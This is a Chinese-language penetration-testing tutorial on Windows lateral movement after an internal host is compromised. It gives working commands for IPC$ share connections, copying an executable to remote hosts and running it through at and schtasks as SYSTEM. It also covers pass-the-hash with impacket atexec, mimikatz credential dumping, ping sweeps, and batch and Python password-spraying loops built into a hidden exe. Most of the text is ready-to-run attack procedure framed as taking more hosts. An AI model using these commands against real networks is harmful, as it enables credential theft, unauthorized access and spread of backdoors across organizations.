0x01.前提条件

已知目标系统的用户明文密码的基础上 , 直接在远程主机上执行命令

本节的知识点是先搞清楚协议 , 然后扩展协议可以利用的点 , 再使用基于协议的第三方工具包 , 实战应用

0x02.横向渗透明文传递at&schtasks

1.ipc$

其本质就是IPC$空连接加上计划任务上线远程主机

在拿下一台内网主机后，通过本地信息搜集收集用户凭证等信息后，如何横向渗透拿下更多的主机？

这里仅介绍 at&schtasks 命令的使用，在已知目标系统的用户明文密码的基础上，直接可以在远程主 机上执行命令。 获取到某域主机权限->minikatz 得到密码（明文，hash）->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

利用流程

1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本
4. 删除 IPC 链接

常用命令

net use      查看当前机器已建立的连接
net view 192.168.1.2  # 查看对方共享
net use \\192.168.1.2\ipc$ "ggg.com123!" /user:euweb   # 工作组
net use \\192.168.1.2\ipc$ "WIN.com123!" /user:hacker\win7   # 域内
dir \\192.168.1.2\C$\ # 查看文件列表
copy \\192.168.1.2\C$\1.bat 1.bat # 下载文件
copy 1.bat \\192.168.1.2\C$ # 复制文件
net use \192.168.1.2\ipc$ /del # 删除 IPC$连接

建立 IPC 常见的错误代码

（1）5：拒绝访问，可能是使用的用户不是管理员权限，需要先提升权限
（2）51：网络问题，Windows 无法找到网络路径
（3）53：找不到网络路径，可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
（4）67：找不到网络名，本地 Lanmanworkstation 服务未启动，目标删除 ipc$
（5）1219：提供的凭据和已存在的凭据集冲突，说明已建立 IPC$，需要先删除
（6）1326：账号密码错误
（7）1792：目标 NetLogon 服务未启动，连接域控常常会出现此情况
（8）2242：用户密码过期，目标有账号策略，强制定期更改密码

建立 IPC 失败的原因

（1）目标系统不是 NT 或以上的操作系统
（2）对方没有打开 IPC$共享
（3）对方未开启 139、445 端口，或者被防火墙屏蔽
（4）输出命令、账号密码有错误

2.at&schtasks

at < Windows2012

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接：
copy mm.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\mm.exe #添加计划任务

schtasks >=Windows2012

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接：
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn mm /sc DAILY /tr c:\mm.exe /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn mm /i           #运行 mm 任务
schtasks /delete /s 192.168.3.21 /tn mm /f        #删除 mm 任务

0x03.横向渗透明文HASH传递 atexec-impacket

atexec是基于前面的at协议开发的一款第三方工具

优点 : 使用简单

缺点 : 可能会被杀软识别

常用命令

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"        # 工作组
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"  # 域内
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"   # 工作组
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" # 域内

0x04.横向渗透明文HASH传递批量利用-综合版

操作流程

1.使用mimikatz获取明文密码privilege::debugsekurlsa::logonpasswords2.使用dos命令探测存活主机for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> ips.txt3.编写批处理文件,批量操作# 批量检测ip对应明文连接for /F %%I in (ips.txt) DO net use \\%%i\ipc$ "Admin12345"net use 查看建立的连接有哪些# 批量检测ip对应的用户密码+明文回显for /F %%I in (ips.txt) DO atexec.exe ./administrator:Admin12345@%%i "whoami" # 批量检测明文密码对应ip回显for /F %%I in (pass.txt) DO atexec.exe ./administrator:%%i@192.168.3.21 "whoami" # 批量检测hash对应ip回显for /F %%I in (hash.txt) DO atexec.exe -hashes:%%i ./administrator@192.168.3.21 "whoami" 

0x05.横向渗透明文HASH传递批量利用-升级版

虽然是上面的方法已经实现了批量 , 但是有一个缺点就是每次只能控制一个变量 , 但是我们收集到的密码, ip , 域用户是三个变量 , 能不能一次实现对三个变量的检测???

python脚本

import osimport timeips = [    "192.168.3.11",    "192.168.3.21",    "192.168.3.31",    "192.168.3.32",    "192.168.3.23",]passes = [    'admin12345',     'admin',     'admin666',]users = [    'admin',    'adminstrator',    'mssql',    'dbadmin',]for i in ips:    for j in passes:        for u in users:            exec1 = f"net use \\\\{i}\ipc$ {j} /user:god\\{u}"            exec2 = f"net use \\\\{i}\ipc$ {j} /user:./{u}"            print(f"<=={exec1}==>")            print(f"<=={exec2}==>")            os.system(exec1)            os.system(exec2)            time.sleep(0.5)

然后将以上代码打包成exe

pip3 install pyinstallerpyinstaller -F -w demo.py